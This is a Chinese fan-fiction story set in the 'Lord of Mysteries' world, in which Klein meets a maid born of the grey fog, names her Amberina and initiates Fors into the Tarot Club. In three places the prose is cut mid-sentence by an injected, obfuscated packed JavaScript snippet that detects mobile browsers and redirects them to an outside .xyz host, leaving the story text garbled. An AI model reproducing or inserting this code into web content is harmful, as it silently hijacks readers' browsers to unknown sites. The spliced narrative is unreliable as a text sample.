《灰雾女仆守则[诡秘之主]》 1. 女仆袭来 “我需要知道你的姓名。” “我没有姓名。”她说,“您愿意怎么称呼我都行。” “年龄?” “时间在这里没有意义,亲爱的主人。” 又来了,那种要命的称呼。那身令人尴尬的服装。克莱恩觉得再这样下去,他迟早要被哪个路过的值夜者当做变态挂到路灯上去。 说到底,他为什么要问她这种毫无意义的问题? 一阵熟悉的头痛袭来,克莱恩对这无效沟通轻声叹气。站立在漫无边际的灰雾之上——这片自他苏醒后便一直存在的神秘空间里——他再次感觉到了和穿越之初被子弹贯穿头颅类似的痛苦。 而在他身旁,一位身着古典女仆长裙的女士谦卑地低着头,但很明显,她嘴角带着某种看戏的上佻。 没有被克莱恩的挫败感染,她优雅着拨动灰雾,那雾气便如有了意志般活跃起来,在他的注视下凝聚出一套精巧的白瓷镶金边茶具套装。她的手指在空中戳弄两下,茶壶便自行倾斜,将温热香醇的红茶稳稳倒入杯中。这一举一动,无不彰显着她与这片神秘空间的联系。 ——她是这片灰雾孕育的存在。 优雅,娴静。她看起来却不像是真正具有生命的人类。而是某种集合了大众集体印象的,对于完美仆从的概念化想象。 她微笑着做了一个“请”的手势。 克莱恩无奈地摇头,还是接过那杯茶,顺势在一旁的高背椅上坐下。茶叶香醇可口,无可挑剔,甚至比他在贝克兰德的那套公寓里准备接待客人的茶叶好太多。尽管知道这也许只是“无”或者某种投影,他也挑不出什么毛病。毕没有人会拒绝一杯零卡零脂甚至还好喝的饮料。 一切都要来到1349年。他决定服用“魔术师”魔药的这一天。 ...也就是这个晚上。 也许是因为一切都进行得格外顺利,“倒吊人”搜集邪纹黑豹脊髓液和精灵之泉的髓质结晶的速度远超他的预期。克莱恩火速进行了仪式,将材料带下灰雾,最后用家中常备大铁锅配置出了魔药。没什么犹豫,克莱恩将其一饮而尽。 伴随着剧烈的冲击般的痛苦和那逐渐清晰的呓语,“伤害转移”、“火焰跳跃”、“空气弹”等诸多非凡能力如烙印般刻进他的灵魂,他知道,这和他事先占卜的结果一样,魔药调制成功。他也因此成功晋升。 而一切的变数出现在饮下魔药的一小时后。 在确认自己已经完全适应了魔药,不会失控原地析出特性后,克莱恩照常登上灰雾。准备在这片绝对静谧的空间思考接下来的行动,或是回应某颗深红星辰的祈祷。他已经通过占卜“秘偶大师”罗萨戈的遗留特性,得到了无面人的配方。接下来一如往常地消化、收集材料,最后晋升就可以了。 然而他的财政状况却不允许他做出如此奢侈的一笔带过。 “如果能有个助手就好了...”克莱恩的手指无意识地敲击着桌面。都说来钱快的法子都藏在法典里,但是他目前的实力和他的道德感不太允许他去挑衅正神教会。猎杀一些官方通缉人员倒也算是个不错的选择,只是他一个人分身乏术...不、不行。 这样的想法在他脑海里一闪而过,随即便像肥皂泡一样破裂了。 廷根发生的一切都还历历在目,他不能再牵扯更多的人进这个烂摊子里。 就在这时,灰雾翻腾了起来。 克莱恩猛然站起,看着那有如被赋予生命般滚动的雾气。平常的时候不过是这宏伟的宫殿的背景板而已,却在此时仿佛回应他的心声般,一个模糊身影在角落里迅速的凝结。他如临大敌的退后。 在这片寂静无声的空间,没有他的允许,从来没有出现过第二个活物—— “我~听到啦——!” 仿佛回应他的愿望,一个活跃得过分的声音在雾气中心响起,却又仿佛由成千上万个人的声线交织而成。老人的、女人的、男人的、孩童的。无数种抑扬顿挫的声线挤压在一起,起伏又挣扎,最后又聚拢成了一种清丽的声线。 ...他这个死嘴啊!克莱恩气得想一头撞死在旁边的石柱上。难道“愚者”的权能还包括言出法随?那他想要钱的时候天上怎么没有下钱雨呢! 克莱恩微妙地后退一步,面对着蠕动着的雾气明显地露出抗拒的心理! 出乎意料的是,灰雾凝聚出的并非怪物,而是一具人的形体。 “晚上好,主人。”那人形躯体上,类似嘴的部位正在上下张合,“感谢您在物质位面的辛苦奔波,我们终于能见面了。” 它——或者说她。她每说一个字,身形就愈加凝固,更接近于人的形态。一直到如水银般的柔顺长发窸窸窣窣地垂落在地。克莱恩终于看出来了这团灰雾的拟态,那是在贝克兰德流行的高级女仆的造型。 她身高中等,差不多和他鼻尖平齐。样貌模糊,很大原因是因为一部分的灰雾遮挡住了她的脸。然而那朦胧的雾气却没有办法完全遮蔽那双明亮的淡灰色的眼睛。裙摆长度到脚踝,布料华美,缀有淡淡的繁复暗金纹样,还有头顶那小巧的头花...这些都毫无疑问地表明了这是女仆的装束。 克莱恩警惕地又后退了一步。 她泫然欲泣,迅速地提起裙摆逼近一步。 克莱恩被她看得有点头皮发麻,手指颤颤巍巍地指了指她的后背——那里有团完全没有凝结的灰雾,正在如粘稠液体般向下流淌。 女仆顺着他的目光回头,看到自己空洞的背部,小声地“咦”了一声,挥挥手,那团雾气便乖巧的凝结成一个蝴蝶结,缀在她身后。 自此,她的身形完全褪去了混沌。 她转回身,姿态谦卑有礼,吐出的话语却石破天惊:“再次向您问候。晚上好,主人。很高兴为您效劳。请问接下来我们是要去征伐那些得意忘形的正神呢?还是处置那些不长眼的、蠢蠢欲动的古神。当然,如果你今天的心情是绞杀那些污秽的邪神,我也——” “咳咳咳!”克莱恩险些被自己的口水呛死。 什么武斗派女仆啊! 他深呼吸了一下,试图平复心情,下意识又向后退了一步。 不料这个动作似乎好像触发了女仆的某种底层逻辑,她眼中立刻蓄满泪水,又向前一步,露出伤心欲绝的表情。 ...克莱恩决定放弃挣扎。 他认命般干咳了两声,试图找回主动权:“为什么不从你的自我介绍开始呢?这位,呃、小姐?” 其实他心里真正想问的是:你到底是什么东西! 于是,就有了最初那一幕。 女仆了然地点头。 “好的。”她声音甜美地开口,“正如您所见,我并非独立的生命体。而是这片灰雾的延伸和造物,是基于主人您潜意识里‘需要一位助手’的意志,并且混合了您对于‘高效、忠诚、且赏心悦目的协作者’的形象偏好,最终凝聚而成的产物。” 她微微歪头,水银般的发丝从肩头滑动:“为此,我调取了历史信息记录。根据大众心理印象,试图在还原优雅美丽这一概念的同时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506845|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不损害仆役应有的性能。我的存在意义是维护您在此地的统治,并且协助您高效地利用这片空间的一切资源。” 她声音诚恳,眼神纯真地看着他:“请问我做得对吗?” 性能、资源、历史信息记录...好亲切又古怪的说法方式。 他吃惊地张大嘴,真的不是什么人机吗! 而且这灰雾造物怎么凭空污人清白呢! 克莱恩的脸霎时红了又白,白了又红。他绝对不承认自己有过那样的想法。 首先,她是灰雾创造的存在。他已经完全理解了。 其次,在这个诡异又混沌的世界挣扎求生,他每天想的都是怎么活下去、怎么晋升,哪里有什么闲情逸致去构想什么“赏心悦目的助手”! 充其量...充其量只是白天在听别人谈论贝克兰德大贵族的奢华做派、以及雇佣一位训练有素的女仆所需要的高昂薪水时,他或许、可能、也许...确实有那么一瞬间,产生过“如果有个帮手处理杂物好像也不错但是也太贵了还不如自己干”的念头。但是绝对没有具体到确切的形象! 绝对没有! “我......”克莱恩张了张嘴,感觉到属于现代人的良心正在隐隐作痛,让他对这种主仆关系感到浑身不自在。他低声喃喃:“我觉得......这样不太行。你能换个形态吗?”比如非人形的?不那么拟人的?不会让他产生负罪感的? 她低头沉吟了一会儿,随即露出个“我想通了”的了然表情。 “好吧,考虑到主人您对于当前世纪的流通货币的偏好。”她的语气又轻快了起来,“我会尝试着化为金色的、圆形的、您不那么抵触的形态....” 会说话的等身高的硬币还是算了吧?! 说话间,这片灰雾又开始翻腾了起来,桌上的茶具剧烈碰撞。她周身的光芒隐隐约约向内滚动,就连边缘轮廓也模糊了起来,好像真的要化作一枚金币。克莱恩连忙叫停,做了个手势让她打住。 克莱恩心有余悸地喘口气,感觉从来没有那么累过。他小心翼翼地开口、几乎是用着商量的语气:“既然你说你是我意志的延伸,那、那我是不是可以,让你暂时回去?” 他看看灰雾,又看看她。意图明显。 听到这话,女仆脸上的温度迅速冷却了下来,灰色的双眸回归无悲无喜的状态。 她也看着他,但是更像是在看一个绝情的负心汉。 “好的,我明白您的未尽之意了,主人。“她平静地说,听起来称得上哀莫之心大于死了,“遵从你的意志,为了不给予您多余的负担。我会回归无声状态,装作从来没出现过,像死一样寂静。并且一如既往,我会在灰雾里一直看着你看着你看着你看着你看着你看着你看着你....” 卧槽,有女鬼啊! 克莱恩几乎要冒冷汗了。这哪里是没有多余的负担?!这心理负担快要爆炸了好吗? 他实在想不明白今天晚上到底做了什么落得这个下场。是喝魔药的姿势不太对吗?是因为没有占卜运势犯水逆了吗?还是因为这是他亵渎神秘,用大铁锅炼化了魔药?他好想马上离开灰雾,回归自己温暖的被窝。装作什么都没有发生过..... 克莱恩沉重地叹息,目光在她的脸上和脚底的灰雾之间逡巡。这下哀莫之心大于死的人该轮到他了:“那么我究竟应该怎么做呢?” “这个我知道。”她的声音立刻甜美了起来,封锁了他最后一丝逃避的可能性,“我尊贵的主人,您该给我取名字啦。” 2. 女仆讨封 这画面有些诡异,克莱恩忍不住在心里嘀嘀咕咕。 女仆小姐出现的第10分钟后,他们在无声的对峙下终于达成了共识。 他本想在服用了新的魔药后看看这片神秘的空间究竟有什么变化,却没想到突然多出来这么一号人。 如今,他(被迫)端坐在象征“愚者”的那张高背椅上,身前是由灰雾凝结的古老长桌。而桌面也摊开一沓纸张,同样由灰雾凝聚而成。上面草草地标注了一系列的尝试。女仆小姐撤掉了茶水,姿态优雅地站在他身旁,眼神里写满了渴望。 “玛丽?” “.......” 这个沉默应该是“音节太简单了”的意思,克莱恩想。他挥挥手,抹掉了名字。 “莉莉?” “听起来像您邻居家的猫。” 是有点。克莱恩思忖了一下,抹掉那个名字,再次试探性地开口: “丧彪?” “主人我有点想死了。” 灰雾无垠而静谧,永不停歇地漂浮着。完全感受不到他此时的纠结。 伟大的灰雾之主,“愚者”大人——克莱恩感觉自己不像是在给一个因为自己疏忽而诞生的新生命取名,他觉得自己活像一个在老师眼皮子底下被监督着写作业的小学生:这个不行,这个也不对,你到底行不行啊? 克莱恩有点汗流浃背了! 而女仆站在他身旁,标准的礼仪姿态。 对上她那表面谦卑,实则充满希冀的笑容,他又无端地想起了家乡东北地区古老的传说:那些等待着路人讨封的精怪——你看我像人还是像仙? 她神采奕奕的双眼里也写着:您想好了吗?您看我现在像人吗?我配得上一个与您相称的名字了吗? ... 他没有办法破坏她的期待。 “凯瑟琳怎么样?这是个很经典的名字。”克莱恩揉了揉眉心,小心翼翼地提议道。 女仆脸上的笑容又垮下去一点。失望的情绪几乎快要溢出来。 “恕我直言,主人。”她的声音轻柔却毫不留情,“如果在贝克兰德的皇后区喊一声凯瑟琳,大概就会有不下十位女士和小姐回头看你。” 克莱恩摇摇手指,试图拿出一点“愚者”的气势,给她科普一下北大陆贵族们的命名传统:“好名字就是值得一个家族反复使用的,你看,一个家里可以有凯瑟琳祖母,凯瑟琳姑姑,凯瑟琳表姐...”他甚至想说就算人走了名字还能传三代的那种。 女仆小姐不说话,也不再反驳他。 她只是无言地盯着纸张,好像要把它盯出一个洞。低气压正在她周身迅速地散开。 克莱恩无声地和她对峙了十几秒,最后败下阵来。他认命地伸出手指,再次抹去了那串字母。 他近乎无奈地叹气,整个人都要陷入椅子里:“这也不行那也不行,还不如就叫小灰呢...” 在他的心里,这个名字简直是神来之笔。她诞生于灰雾,通体的颜色也近似于灰。简单、好记,而且又非常的亲切。 她用一种“您是认真的吗”的表情看了过去。 “主人。”她好像受到了某种冒犯,“我认为即便只是工具的我,也应该有权利捍卫自己的尊严和审美...” 克莱恩噎住了。 不就是取的名字通俗了那么一点点吗,怎么就上升到价值和尊严问题了。小灰怎么了?小灰这个名字念起来真的非常朗朗上口。 见他沉默不语,女仆小姐摇摇头。 “主人,如果您当真缺乏灵感的话,可以更加直接地,功能性地称呼我为001,002...” 克莱恩眼皮直跳,心想那不就成了查尼斯门后关着的那些封印物吗。而且这编号怎么听都有点不吉利。有了001,那002、003还远吗?先不论有没有007詹姆斯·邦德。一想到未来灰雾里会有七个女仆小姐围着塔罗会打转,他就感觉到一阵心惊肉跳,头皮发麻! “不行,不行。绝对不行!”克莱恩率先一票否决,脱口而出! 而她的眼神瞬间黯淡了下来,好像面前这位至高无上的主人一瞬间剥夺了她全部的希望。 克莱恩感觉到自己的良心有点隐隐作痛,一时之间又没有什么新的想法。他深深地吸了一口气,无视礼仪,几乎仰倒在高背椅上。 灰雾不会被这气氛渲染,依然永不停息地,缓缓地流动,演绎着某种永恒。他仰起头,望向亘古不变的穹顶。而他们二人此刻的存在,渺小得几乎是穹顶之下,两只被凝固在永恒中的飞虫。 流动的液体...凝固...飞虫...他心里逐渐有了一个想法。 克莱恩福至心灵,试着抓住那一闪而过的灵感:“安波(Amber)怎么样?” “安波?”她困惑地重复了一次这个陌生的音节,“那是什么意思?” 琥珀。美丽的化石。 克莱恩几乎要为自己的机智点个赞,他低头沉吟了一会儿:“嗯...是一种非常古老的化石,也算是有机宝石。它形成所需要的时间及其漫长,最古老的,甚至能追溯到...一亿年。” 他甚至不知道要如何给她解释自己世界的“白垩纪”的概念。看着她的眼睛瞬间被点亮,克莱恩猜想,一亿年应当对于她,对与这片灰雾来说,也是近乎永恒的时间。 克莱恩受到一点鼓舞,小声地补充道:“不过安波单纯作为名字可能有些...特别。或许我们可以把它拓展一下?安波莉娜(Amberina)如何?昵称可以就叫莉娜。” 语毕,他自己也感觉到了沉甸甸的压力。 他想起以前在网上看到过的一种说法:如果你给一盆花、一盆草、或是一只小动物取了名字,那就意味着你已经接纳了它成为家庭中的一员,从此便无法轻易地割舍。 虽然女仆小姐绝非普通植物或者动物,甚至算得上是高危造物。但是当她接受这个名字的时候,是否也代表着她正式成为了他的责任呢? 然而克莱恩的思考还没有进一步的发散,就被对方热烈的反应打断了。 女仆小姐——或许现在应该称她为安波莉娜了。她的眼睛闪闪发光,几乎要扑到他的身上。那是一个无比灿烂,毫无阴霾的笑容。 “我喜欢这个名字。主人!非常非常喜欢!”她先前的低落一扫而空,声音甜美得像是要唱起歌,“感谢您主人!安波莉娜、莉娜。这就是我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506846|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字了!” 克莱恩险些为这夸张的反应失笑,他下意识地抬起手,试图轻轻推开那过分贴近的脸庞。真的有这么激动吗?不过只是个名字而已。 “我好感动,主人。”她甜甜地仰起头去看他,小声地补充着。“但是很遗憾,我没有泪腺,也没有泪管。所以我哭不出来,哈哈。” ...你觉得你这笑话好笑吗! 克莱恩的嘴角不受控制的抽搐一下,一时之间不知道该怎么接她的话。前一秒还在蹦蹦跳跳的莉娜,下一秒就毫不掩饰地展露自己非人的一面。他都不知道该称这种行为是鲁莽还是勇敢。 教育之路任重而道远啊! 他深吸一口气,决定将对话拉回一个相对正常的轨道。他收敛神色,轻轻敲了敲长桌。 “我们还是来谈谈你之前的那个计划吧,莉娜。” “好的!主人。莉娜时刻准备为您服务!” 她迅速地站直,恢复专业姿态。裙摆因她的迅速动作晃动了两下,很快便优雅地静止在她的小腿边。 克莱恩斟酌着语气,尽量不让自己听起来是要去发动什么恐怖袭击:“你之前提到的,那个...呃,关于拜访七神的计划,具体是什么样的?”他实在是无法复述她提到的“绞杀”和“征伐”这样的词。 听起来实在是太超现实主义了。他做梦都不敢想这么亵渎的画面。 安波莉娜立刻来了兴致。仿佛早就排练过无数遍,她打了个响指。 一张巨大的地图立刻出现。上面用几只彩笔清晰标注着七大正神教会势力范围的徽记和大致区域。 “很简单的,主人!我们可以分七天进行!第一天,我们先这样——哐哐哐!”她对着空气打了一套组合拳,“然后第二天,再这样!咻咻咻!瓦解教会的外围区域和信仰。第三天!集中攻击核心!如此循环往复!咚咚咚!哐哐哐!嘿咻——!等到第七天,整个北大陆就是我们的囊中之物了。如果运气好的话,说不定南大陆也......” ——那“哐哐哐”的拟声词到底代表着什么意思? 克莱恩嘴唇张合,看她神采飞扬地战前演讲,一时之间不知道该说什么。 是他被七神教会中的高级执事、天使之王、甚至七神本尊围殴的时候,被打成肉酱时发出的声音吗..... 然而,就在克莱恩思考要不要取消约定,现在就把她塞回灰雾里时,安波莉娜的话锋突然一转。 她脸上的兴奋稍稍收敛,褪去了刚才的狂热。取而代之的是那拟态的情感如面具般被剥落后,深思熟虑的冷酷。 “但是,后来我改变主意了,主人。” “哦?”突如其来的转折让克莱恩略感意外,他挑起眉毛。示意她可以继续说下去。难道她终于意识到这是个及其荒谬的计划了? 安波莉娜的声音带着一丝困惑。很轻很轻,就像是从遥远地方传来的叹息,轻到快要消散在这空旷的殿堂里。 “——因为我几乎感觉不到。主人,您,在物质位面的‘存在’。” 克莱恩张嘴,试图说点什么暂缓这突然冷却的气氛。 但此时此刻,他的后颈上,一滴冷汗正缓缓地、无声地滑落。 3. 女仆发言 克莱恩不太确定她口中的“物质位面”具体指向何物。 但是逆向推导一下,她此刻是立足于灰雾之上进行发言,那么与这种类似只使用灵体的状态相对,“物质位面”指的很可能就是远离这种朦胧状态的神明居所、承载着现实世界的真正大地。 而“感觉不到他的存在”又是什么意思?一滴冷汗无声地从从他的额角滑落。是因为之前在廷根的那次死而复生的复活仪式留下了什么难以察觉的后遗症?还是涉及到了某些更深层,更复杂的原因? 事情的发展仿佛脱缰的野马,正在朝他完全无法预料的方向狂奔而去。 “莉娜,你说的...”克莱恩刚想追问,话语戛然而止。 ——肃穆的青铜长桌尽头,一圈圈短促而焦躁的虚幻波纹正扩散开来。 一旁的安波莉娜也收起了那副故弄玄虚的忧郁模样,好奇地凑到他身边,望向这躁动不安的异象。 并非是哪颗深红星辰的号召,而完全截然不同的崭新状态。 透过那朦胧光圈传来的影像,他们能清晰地看到一位年轻女性正跪伏在房间的地板上,以头抢地,她正小幅度地用前额撞击着地板,好似头颅正在遭遇开凿般的痛苦。她亚麻色的披肩和长发也散开,铺了一地,几乎要被她用尖锐的指甲撕了个稀巴烂。 她语无伦次、焦急地念诵着诸多神明的尊名,从蒸汽与机械之神到永恒烈阳。然而剧烈的疼痛没有丝毫减缓。她又硬生生地抓下一大把头发,动作疯狂得好像要把头皮也连根拔起。 最终,在极致的折磨中,她看到了散落在地板上那张写着古赫密斯语的纸张。孤注一掷地抓起,用尽全身力气,飞快地念诵出了“愚者”的尊名。 “哇,好坚定的信仰!”安波莉娜对这种实用主义感叹道,“不过主人,她好像快要死了耶。” 怎么张口就是吉祥话呢。 克莱恩无语地瞟了她一眼,将全部注意力集中在那画面里。 不知为何,他总感觉这次看到的图像要比以往任何一次都清晰得多。彻底失去了那种朦胧的、隔着雾气的模糊。打个比方,就像从720P画质一下跃升到了1080P超清画质。他看着旁边笑嘻嘻的安波莉娜,估计多半是她的存在带来的增益。 他快速打量了一下影像里那位痛苦不堪的女士,那应该就是“正义”小姐提到过的,准备发展的另外两位同伴,休和佛尔斯其中之一。 时间紧迫,不容多想。克莱恩立刻集中精神,回应了她那份迫切的祈祷。 磅礴的灰雾回应着他的想法,受召而来,翻涌包裹着他。他迅速端坐于青铜长桌的上首,摆出“愚者”威严而神秘的状态。 而就在那一瞬间,年轻的女士的灵体瞬间跃升于灰雾之上—— 在缓解的剧痛中,她抬头,磕磕绊绊地开口:“请问您是?” “你可以直接称呼我......”克莱恩用低沉平稳的声音回应道,“愚者。” 他露出了一个高深莫测的微笑。 然而就在克莱恩扮演着神明,和这位女士交换信息的时候,身后来自安波莉娜的视线变得格外的尖锐! 她一直盯着他的肩膀,那目光里充满了毫不掩饰的惊奇和探究。似乎对于主人突然切换成了一种截然不同的性格感到极度困惑。 一种古怪的羞耻攀爬了上来! 克莱恩忍受着那背后如有实质般的目光,安慰着自己:这是权宜之计,是为了生存。是为了扮演。 他了定了定神,继续和年轻女士沟通着。 ... 十分钟很快过去了。克莱恩先后推测出了这位女子的身份应该是二人之中的佛尔斯。 而她每逢血月鲜红之夜就发作的的头痛,极大概率源于那位“门”先生跨越无尽时空,传递而来的呓语和污染。 可惜他现下手里的罗塞尔日记中记载的相关的内容还是太少。他无法借此推断出更多关于神灵位格变动和现实的深层次联系。 最后,他以“愚者”之名,提供了庇护,邀请了这位女士加入了塔罗会。在那一沓自动浮现的塔罗牌里,佛尔斯还在微微颤抖的手抽出了那张“魔术师”。 ——一颗崭新的红色星辰就此在殿堂之上的穹顶升起了,稳定地散发着光芒。 而全程,安波莉娜一言不发,维持着标准的仆从姿态站立一旁。只是那双灰色的眼眸一眨不眨地盯着整个过程,眼神里充斥着近乎炽热的艳羡。 待佛尔斯的身影从灰雾上消失,她就开始用鞋后跟敲击着灰雾。碎碎念着: “啊...真好。” “纸牌游戏什么的。我也好想玩啊...什么神秘聚会,用代号相称的秘密结社组织,好羡慕啊...”她摇头晃脑,语气越来越刻薄,“有自己的小团体真好啊。呵呵,被排挤在外什么的。哦不,安波莉娜只需要这个名字和侍奉主人就可以一直活下去了呢。呵呵。呵呵呵呵呵......” 人的贪婪真是无穷无尽啊! 看着她那郁闷的摸样,克莱恩忍不住吐槽。 要知道十多分钟前她还在欢呼雀跃自己拥有了名字。这么快就想要别的东西了。 她嘀嘀咕咕了一长串,几乎是用热切的眼神盯着克莱恩手上的那副塔罗牌。几乎是在眼睛里写着了:给我也抽一张! 克莱恩暂时没空理会她突如其来的小情绪。现下还有更重要的东西要确认。 他打了个响指,无视安波莉娜瞬间发出的的尖叫,那副牌立刻化作缕缕雾气,消散得无影无踪了。 他轻咳了一声,试图唤回她的注意力: “安波莉娜。” “我在。”她立刻收敛了玩乐的态度,瞬间站得笔直。 “我有问题要问你。” “我知无不言,言无不尽,主人。”她露出一个甜美至极的微笑,“理论上。” ...理论上?刚刚还在自称自己是忠诚的仆从,这么快就开始给自己找免责声明了吗! 克莱恩的眼角抽搐了一下,继续保持端坐,手指有节奏地轻敲青铜桌面。 “刚才,”他抛出第一个问题,“她看不到你,对吗?”他回忆起了方才的场景,“魔术师”佛尔斯小姐一开始眼神就没有聚焦在他身边,哪怕安波莉娜在她身边耸动来耸动过去,佛尔斯的眼神就如完全屏蔽了她般,一动不动。刚才他甚至还有那么几秒钟在想要怎么介绍这个灰雾造物的存在。 “你刚才一直在她身上打量什么呢?” “是的,主人。”安波莉娜立刻回答,露出了一个高深莫测的表情,“没有您的允许,无人能直接注视于我。这是您在此地至高权柄的体现之一。” 她先是甜蜜地肯定了这一点,音调拔高,语气瞬间变得激昂,“至于我刚刚在看什么——” 噔噔咚! 克莱恩的心感觉到了某种不祥的征兆,突然剧烈地震颤一下。 安波莉娜开始了她机关枪一样的演讲: “这位魔术师小姐年轻,身量中等。目测年龄大概在20到25岁之间。在非凡者中间起步较晚,但经历这么多呓语摧残没有原地去世,也算资历不错,足够幸运了。” “她穿着普通的亚麻混纺裙装和羊毛绒披肩,面料不算崭新,但也不至于破旧。从经济状况初步判断,应该是小有积蓄的中产阶级。” “而最关键的是,她的右手中指第一关节处有着茧状凸起。同时,她的指尖散布着薄厚不等的茧子。这种特征足以说明一件事!我推测她应该从事文书之类、或者秘书这种需要长时间使用机械打字机的工作——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506847|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “停停停!”克莱恩终于维持不了愚者的威严,赶紧抬手打断了她。他实在没有想到她竟然有一颗侦探的心!就凭几眼观察,就把佛尔斯的家底扒了个干干净净,而准确率应该也太差不差。到底他是夏洛克还是她是夏洛克啊!他忍不住腹诽道。 及时打住了她滔滔不绝的分析,克莱恩问出了真正关心的问题:“我刚刚提到的门先生,你认识他吗?或者说,你对他有所了解吗?” 她脸上又荡漾起了那种“我早就知道您会问这个”的笑意。 她毕恭毕敬地回答:“如果您觉得那样的存在都和我聊过天的话...” 又怎样?克莱恩的心一下子提到了嗓子眼。 “——那可真是大错特错了!”安波莉娜骄傲且自豪地补充着,“哈哈,他们完全不认识我呢!” ........... 克莱恩已经不知道该说什么了。 但紧接着,安波莉娜用一种怀念般的语气双手合十道:“不过要说这个名字的话,我有些模糊的印象。他应该是一位极其勇敢的旅行者。现在看来,想必他早已经踏上了那条只属于自己的、通向未知的、伟大而悲壮的征程了吧。” 那到底是什么意思?旅行到了哪里?伟大而悲壮?克莱恩还想多问几句,那高深莫测的表情又回到了她脸上。 “安波莉娜,你再当谜语人,我就把你扔出去。”克莱恩警告道。 安波莉娜立刻开始假哭:“您真残忍。我明明是在为了您着想。” 怎么突然又变成为他着想了?克莱恩微微一怔。 “因为主人,您实在是....”安波莉娜悠悠地叹息,“太弱了啊。” “.........哈?” 她脸上的表情突然变得忧郁而沉痛:“刚才我不是说过了吗?我几乎感觉不到您在物质位面的存在。在您和魔术师小姐的会面间隙。我进行了一些调查,结果发现主人,您现在才只有序列7啊!序列7在贝克兰德是什么概念,主人,您知道吗?” 谢谢,但是我真的不是很想知道。 克莱恩几乎要猜到她要说什么了。但是已经来不及阻止了。 “序列7,在贝克兰德就像蚂蚁一样!”她音调拔高,立刻变得激动起来,“太可怕了啊主人!您每天辛勤的劳动,在高序列强者的眼中,说不定就像一只小蚂蚁勤恳搬运面包屑一样!都不需要那些伟大存在踩您一脚,主人您被稍微大一点的风一吹,可能就死掉啦!” 克莱恩:“...........” “而有的知识,您现在还是不知道为妙。如果主人哪天在物质位面因此暴毙了,以您现在的位格,我也无法直接干涉物质位面发生的事情,就只能在这灰雾之上眼睁睁看着主人析出非凡特性......” 那种绝望的、错愕的头痛又来了。 只是以一种更无语的形式出现。 克莱恩没有再多说一个字,他毫不犹豫地切断了和灰雾的联系。 然而安波莉娜的声音在他的灵性中穷追不舍:“再见~期待我们下次的会面~主人你一定要坚强的活下去~要从蚂蚁脱胎换骨成为顽强的贝克兰德蟑螂啊~” “啊对了,如果可以的话——下次给我带一本罗塞尔大帝的书好吗~小说、传记、甚至机械手稿图册也可以。主人~这里太无聊了~” “.......” 伴随着倏的下坠感,克莱恩猛然地睁开眼睛。 是熟悉的天花板。这里是乔伍德区明斯克街15号。属于私家侦探夏洛克·莫里亚蒂的租赁的房屋,他的名义上的居所兼侦探事务所。 他躺在柔软的床铺上,看着闪烁细碎光辉的吊灯,沉重地叹气。把脸埋进了被褥里。 这一天天都什么事啊! 4. 阅读时间 接下来的几天里,风平浪静。并未再发生什么超出常理的事。 安波莉娜在灰雾上出现的第二天,没什么变化。 第三天,没什么变化。 他照常调查、吃饭、休息。大多数时候和普通的贝克兰德的居民没什么区别。 第四天...过去了。 依旧没什么变化。 似乎和她口中所说的一样,如今的她异常的衰弱,几乎没有办法干涉到现实世界发生的事情。他不由得松了口气,不过依然保持着将信将疑的态度。 克莱恩——又或者说,私家侦探“夏洛克·莫里亚蒂”顺利完成了珠宝商洛戈·卡罗曼的保护他儿子亚特鲁的委托。最终发现这只是一群清澈又愚蠢的大学生,在毫无非凡能力的情况下,强行模仿某本古籍中记载的灵舞仪式,最终引火烧身、自食恶果的故事。 也怪不得寓言故事里经常警告大家不要在不了解的情况下,做超出自己能力范围之外的事情。罗塞尔大帝的“科普”还是弱了点,真应该加大力度让后世的大学生们也不要犯蠢...... 克莱恩最后没收了“罪魁祸首”考普斯蒂的铜哨。 这枚铜哨从外观上看,与阿兹克先生赠与他的那一枚有几分相似,就连召唤信使的这种最核心的功能也一样。说不定是什么“死神”家族传统呢...克莱恩默默腹诽。 不过,当他把这枚铜哨握在手中时候,却能清晰地感觉到:它更加冷冽、硬朗。甚至带着更加不祥的气息。 也不知道考普斯蒂到底是算好运还厄运,出门散个步就能撞上将死的非凡者。不但没死没疯,却收获了他人遗留下的馈赠。 结果这份馈赠也不是什么好东西,本可以让他在不知不觉中暴毙,但他又因为毫无灵性活了下来... 这一番操作下来,克莱恩实在有点绷不住。 他本想进行一次占卜,探究一下它的来历,又怕复现自己被一些乱七八糟的存在盯上的历史。这才按捺下了这种冲动,谨慎地将其收起。 或许可以写信问问阿兹克先生?怎么看这枚哨子都和他、他背后的途径有千丝万缕的联系。 这个念头刚冒出来,另一个身影突然唐突地闯入了他的脑海。 ...也可以问问安波莉娜? 他想起了在灰雾之上,某位懒洋洋的,说着“主人就像是小蚂蚁☆”的侍从。 嗯,果然还是算了。不过几秒,他就否定了这个想法。 